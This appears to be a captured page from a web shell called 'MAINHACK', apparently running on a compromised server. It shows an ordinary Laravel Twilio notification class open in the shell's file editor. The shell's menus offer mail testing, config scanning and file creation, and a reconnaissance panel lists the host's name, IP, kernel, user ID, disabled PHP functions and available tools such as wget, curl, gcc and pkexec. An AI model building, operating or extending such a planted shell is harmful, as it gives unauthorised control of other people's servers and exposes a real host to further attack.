[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwilioChannel.php
<?php namespace NotificationChannels\Twilio; use Exception; use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Notifications\Events\NotificationFailed; use Illuminate\Notifications\Notification; use NotificationChannels\Twilio\Exceptions\CouldNotSendNotification; class TwilioChannel { /** * @var Twilio */ protected $twilio; /** * @var Dispatcher */ protected $events; /** * TwilioChannel constructor. * * @param Twilio $twilio * @param Dispatcher $events */ public function __construct(Twilio $twilio, Dispatcher $events) { $this->twilio = $twilio; $this->events = $events; } /** * Send the given notification. * * @param mixed $notifiable * @param Notification $notification * * @return mixed * @throws Exception */ public function send($notifiable, Notification $notification) { try { $to = $this->getTo($notifiable, $notification); $message = $notification->toTwilio($notifiable); $useSender = $this->canReceiveAlphanumericSender($notifiable); if (is_string($message)) { $message = new TwilioSmsMessage($message); } if (! $message instanceof TwilioMessage) { throw CouldNotSendNotification::invalidMessageObject($message); } return $this->twilio->sendMessage($message, $to, $useSender); } catch (Exception $exception) { $event = new NotificationFailed( $notifiable, $notification, 'twilio', ['message' => $exception->getMessage(), 'exception' => $exception] ); $this->events->dispatch($event); if ($this->twilio->config->isIgnoredErrorCode($exception->getCode())) { return; } throw $exception; } } /** * Get the address to send a notification to. * * @param mixed $notifiable * @param Notification|null $notification * * @return mixed * @throws CouldNotSendNotification */ protected function getTo($notifiable, $notification = null) { if ($notifiable->routeNotificationFor(self::class, $notification)) { return $notifiable->routeNotificationFor(self::class, $notification); } if ($notifiable->routeNotificationFor('twilio', $notification)) { return $notifiable->routeNotificationFor('twilio', $notification); } if (isset($notifiable->phone_number)) { return $notifiable->phone_number; } throw CouldNotSendNotification::invalidReceiver(); } /** * Get the alphanumeric sender. * * @param $notifiable * * @return mixed|null * @throws CouldNotSendNotification */ protected function canReceiveAlphanumericSender($notifiable) { return method_exists($notifiable, 'canReceiveAlphanumericSender') && $notifiable->canReceiveAlphanumericSender(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002